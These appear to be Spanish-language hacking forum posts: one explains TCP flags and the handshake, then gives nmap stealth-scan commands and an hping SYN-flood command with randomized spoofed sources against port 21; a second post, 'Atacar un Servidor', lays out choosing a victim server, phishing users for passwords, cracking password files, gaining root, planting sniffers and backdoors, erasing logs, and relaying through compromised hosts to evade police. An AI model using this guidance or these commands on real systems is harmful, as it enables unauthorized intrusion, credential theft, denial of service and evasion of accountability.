A medida que vamos a ir necesitando, vamos a ir explicando para que sirve cada parte de la cabecera de un paquete TCP/IP (en este articulo expicaremos algunos, a medida que vamos abanzando, veremos mas)

Por ahora, veremos los Flags. Los flags ocupan 1 bit cada uno en la cabezera de un paquete, y como pueden ver (aunque quedaron chuequitas las | ) son URG, ACK, PSH, SYN, FIN. Como sabran, que ocupe 1 bit significa que es 1 caracter, y como se pueden imaginar puede ser 0 o 1.


Creando una conección entre dos host:

Como ya habiamos adelantado, si el protocolo se basa sobre TCP/IP, es un protocolo orientado a conección, y ahora veremos como se hace esa conección.


1 -> Enviamos un paquete SYN Host A
2 <- Recibimos un paquete SYN ACK Host B
3 -> Enviamos un paquete ACK


Asi es como realmente se realizan las conecciones TCP/IP


Veamos, antes de comenzar a enviar los datos que realmente queremos enviar, vamos a armar una conección para asegurarnos que el Host B va a recibir los paquetes que estamos enviando y que no los estamos enviando al vacio =P (ya los tengo podrido con esto de que es orientado a conección, no?)

Enviamos un paquete con el Flag SYN activado (o sea, con el Flay Syn valiendo 1)
Cuando este paquete le llega al Host B, este interpreta que el Host A esta intentando comenzar una conección, (si las reglas de administración lo permite, digamos, si ningun router, firewall, o lo que sea lo impide) este le contesta con un paquete que tiene dos flags activados: SYN y ACK. Esto quiere decir que acepta la conección
El Host A al recibir este ultimo paquete, tiene la aceptación del Host B para iniciar una conección con el, solo falta que responda con un paquete ACK para que realmente la conección se establezca.

En todo este proceso, que obviamente se hace automaticamente, la conección toma distintos estados.

  • Cuando enviamos el paquete SYN, nuestro estado es SYN_ENVIADO
  • Cuando recivamos la respuesta del Host B (el paquete con los flags SYN y ACK activados) nuestro estado de coneccion es SYN_RECIBIDO
  • Luego de enviar por ultimo el ACK, el estado sera de ESTABLECIDO


¿Que significado tiene cada Flag?


-. Flag URG: Este Flag, significa que tiene caracter de urgente el paquete. Que debe ser tratado primero que los Paquetes normales, es decir que se saltea la cola =P

-. Flag ACK: Este paquete se usa como confirmación de que el paquete anterior fue recivido.

-. Flag PSH: Se utiliza para vaciar un buffer de transimision (por ahora no importa)

-. Flag RST: Significa Reset, es para reiniciar una conección porque capaz un paquete llego corrumpido (los paquetes tienen verificaciones, por si se perdio un paquete por el camino o por si alguien esta mandando paquetes corruptos =P)

-. Flag SYN: Para comenzar una conección.

-. Flag FIN: Para finalizar una conección.


Fin de la 'teoria' vamos a la practica


Escaneando Puertos de forma Avanzada

Hay muchas técnicas, algunas mejores que otras, algunas mas silenciosas, otras mas directas, yo lo que voy a explicar ya lo puse en practica, pero luego nos reuniremos por el IRC a practicar Smile
Para esta practica, usaremos el nmap. Bajenlo de aca.

1- TCP_CONNECT

Este es el mas comun de todos, directamente, nos conectamos un host al puerto que queremos saber si esta abierto. Si nos podemos conectar, esta abierto.
Ahi pasaria lo que explicamos arriba, los 3 pasos para formar una conección
Si esta cerrado, en vez de recibir un paquete SYN-ACK, recibiremos un RST

2- SYN_SCAN

Este es un scan de medio pelo, y lo que hacemos es esto.
Mandamos un paquete SYN; si recibimos un paquete SYN-ACK no respondemos con un paquete ACK, si no que mandamos un paquete RST para cerrar la conección.
¿porque? Fácil, el Host B (mantengamos esa idea en la cabeza) ya nos informo perfectamente que tiene el puerto abierto o cerrado, y el solo echo de responder con un ACK para armar la conección a ese puerto, seria una estupidez, ya que no sacariamos provecho alguno, mas que dejar un lindo log de conección en el SO.
Este tipo de scaneo, es bien reconocido por los firewalls, les aparecera algo como SYN attack (el mcaffe lo muestra textualmente asi) pero es mejor que nada.
Digamos, a un firewall le basta y le sobra con que le llege un paquete SYN pidiendo que se arme una conección; pero al SO solo se da cuenta y hace un log cuando se completa el intento de conección

nmap escribió:
nmap -vv -PO -sS ip

3- Stealth Scan

Este scaneo es realmente bueno y silencioso, muchos firewalls lo pasaron por alto.
La idea de este scaneo, es mandar un paquete FIN al Host B a determinado puerto, si nos responde con un paquete RST, el puerto seguro esta cerrado.
Caso contrario (si no responde) esta abierto o silencioso (un puerto silencioso, no responde a estos pedidos)
Si bien, tiene como ventaja que la mayoria de los firewalls lo pasan por alto (por no armar una conección) Windows, que no siguen los estandares de nada, no respeta esta estructura TCP/IP (asi como su IE no sigue los standares de la programación web y luego la gama de Mozilla es "inconpatible"). Asi que no es buena idea lanzar este tipo de scaneos a un SO windows ya que nos dara una infinidad de puertos abiertos, que en realidad no esta. Aunque por otro lado, nos sirve para osfinger, de esta forma ya sabemos que estamos frente a un SO windows =P

nmap escribió:
nmap -vv -PO -sF ip


4- ACK Scan

Este tipo de scaneo, esta orientado para determinar cuando un puerto esta silenciado (que era la falla de los anteriores)
La idea es esta, si le mandamos un paquete ACK a un Host B, con todo aleatorio (como si hubiera existido en algun momento una conección) el Host B interpretara que ese paquete es totalmente erroneo, y que nunca hubo un intento de conección... por eso si el Puerto esta abierto, o cerrado, en cualquiera de los dos casos, nos respondera con un paquete RST.
Pero si no responde, ya sabemos con perfección que ese puerto esta filtrado por un firewall!!
Como veran, esta tecnica es extremadamente útil para convinarla con otra, para sacarnos las dudas.

nmap escribió:
nmap -vv -PT ip


Haciendo un DoS: SYN Flood

Vamos a aplicar nuestras técnicas para hacer un DoS, aprovechando nuestros conocimientos de TCP/IP
Vamos a hacer uno que consume los recursos, veamos, cada vez que uno se quiere conectar con un HOST y envia un paquete SYN a el, este crea una tabla en memoria, llamda estructura de datos. Asi con cada intento de coneccion de una IP, a un puerto, vamos a intentar floodear al sistema con paquetes SYN, con muchos intentos de conección para consumir recursos en memoria y hacer un DoS al demonio.
Para hacer esto de manera correcta, tenemos que spofear el IP. ¿Y esto porque?

Host A --> Envia paquete SYN --> Host B
24.232.144.xxx con IP Spofeada
1.1.1.1

Bueno, si el HOST B recibe un paquete SYN de la IP 1.1.1.1, va a intentar responder al IP con un SYN/ACK, la gracia es que al no existir la IP 1.1.1.1 nunca recibira una respuesta al paquete que "envio" 1.1.1.1 y se quedara consumiendo recursos en memoria, en su estructura de datos. (cada conección tiene un time to live, es decir, luego de x cantidad de tiempo, se borran automaticamente, liberando los recursos en memoria)
Al ser flood, obviamente hay que hacer esto, con muchos paquetes, por ejemplo con 100; todos con IPs spoofeadas.
Hay un programa muy poderoso para linux que nos permite hacer esto automaticamente, es hPing (hping es un programa propio para linux, lo pueden hacer desde una shell si no disponen de un windows instalado en su propia pc, o si no, utilizar nemesis que es parecido y corre sobre windows)

hPIng escribió:
hPing No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --rand-source --destport 21 --syn --count 150

Explico brevemente:
rand source, enviara desde IPs aleatorias.
destport 21, ataca a la IP No tienes permitido ver los links. Registrarse o Entrar a mi cuenta al puerto 21
syn, obiviamente pone un 1 en el flag syn
count 150, va a enviar 150 paquetes

Un problema para esto, es cuantos routers o sistemas de validación hay en el medio entre vos y tu destino No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Capaz antes de llegar al destino, tenes routers que verifican que las IPs no son validas, y no dejen llegar los paquetes a destino.
#10
Hacking / Atacar un Servidor TeOria!
Abril 12, 2010, 02:06:36 AM
   1.- Atacar Un Servidor
===================

Mucha gente no sabe que hacer ni como elegir una victima.
Por eso ahora vamos a describir los pasos a efectuar para analizar un server y asediarlo.

Primero elegimos un server, esto es muy fácil aunque por los visto a la mayoría de la gente le da dolor de cabeza. Por ejemplo podemos ir a los buscadores y buscar alguna url interesante, pues hecho esto ya tenemos el servidor victima.

Nos dirigimos a el, primero miramos el web a ver si conseguimos información del sistema, el nombre del administrador y demás aspectos tampoco debemos olvidarnos el DNS. Después pasamos un scanner de puertos ( es una herramienta la que nos permitirá saber que puertos tiene abiertos el servidor para aprovechar nuestra entrada ).

También usamos el comando finger del unix ( existen algunas herramientas en win para simular el finger) e intentaremos obtener información de los usuarios del sistema. Para hacer todo esto antes hay que saber que es cada puerto y conocer distintas herramientas que nos permitan obtener información de la victima.

Con toda la información recogida del servidor en cuestión, realizamos un estudio e intentamos averiguar el sistema operativo y cuando lo sepamos buscamos información técnica y fallos del sistema que podemos aprovechar para entrar.
Cuando escaneamos los puertos podemos llevarnos sorpresas o sea que cuidado. Como último recurso si no conseguimos entrar podemos enviar mail's falsos a los usuarios para que nos den su clave de acceso, esto por supuesto es ingeniería social.


===============
  2.- Como Operar
===============

También suele haber muchas dudas de que hacer cuando tienes el fichero de contraseñas y que hacer después. Pues bien, pasamos el crakeador al fichero y sacamos las claves que podamos, si tenemos suerte y sacamos alguna que generalmente suele ocurrir, ya tendremos un acceso al sistema.

Después nos dirigimos al servidor, conectado por telnet y cuando nos pida el login y password le metemos la cuenta que hemos obtenido al crakear y ya entramos al servidor. Cuando estamos dentro que generalmente será un s.o. unix, usamos los comandos para averiguar que podemos hacer, quien hay conectado en el momento ( esto es importante por si esta el admin, si esta, cuidado con lo que hacéis ) y lo que se nos ocurra. Si hemos entrado con una cuenta que nos paso alguien lo mas lógico es que no tengamos el fichero de contraseñas por lo que trataremos de obtenerlo. Después intentaremos obtener root ( privilegeios de admin ) para colocar un sniffer o lo que queramos. Si todo ha salido bien, solo nos queda borrar nuestra entrada al sistema mediante un zapper.

Pasado un tiempo, procurando que sea poco, unos días o una semana como mucho, volvemos al servidor a recoger los datos recogidos por el sniffer, y si tenemos suerte tendremos logins y passwords para otros servidores, además cuantas mas cuentas tengamos en distintos servidores, los podemos usar de puentes para conectar al servidor que queremos hackear ya que esto dificultara en gran medida que nos persiga un admin o la poli.

==================

  3.- HERRAMIENTAS
==================

Para ser un buen hacker debemos tener buenas herramientas pero no solo conocerlas sino también controlarlas a fondo. Por ejemplo algunas herramientas que hay que tener son:

- Scanneadores de líneas de teléfono ( wardialers ): Nos permitirán scanearlíneas de teléfono para saber si hay ordenadores conectados, esto no tiene nada que ver con Internet !! pero es otra materia del hacking.

- Listados de bug's: Tener un buen surtido de bugs ( fallos ) para poder aplicar y entrar en el server. Hay de muchos tipos algunos explotan un fallo desde fuera y otros hay que usarlos desde dentro.

- Sniffers: Son unos programas que dejaremos ocultos en el servidor para que espíe las conexiones y pillemos login y password y demás info.

- Puertas traseras: Podemos dejar alguna puerta trasera que nos permita entrar al servidor aunque nos hallan anulado nuestra cuenta. Hay muchos administradores que ponen las suyas solo tenemos que buscarlas.

- Programas de ocultamiento ( zappers ): Son unos programas que borrarán nuestras huellas del sistema.

- Diversas herramientas: Todo tipo de herramientas que nos pueden servir para nuestros propósitos como por ejemplo scanedores de puertos, redes, desprotectores de shadow, etc ..

- Crakeadores: Herramientas que nos permitirán averiguar las claves de un sistema aunque estén encriptadas.

- Diccionarios: Ficheros con multitud de palabras que usaremos junto con el crakeador.

- Documentación técnica.

- Claves de acceso comunes.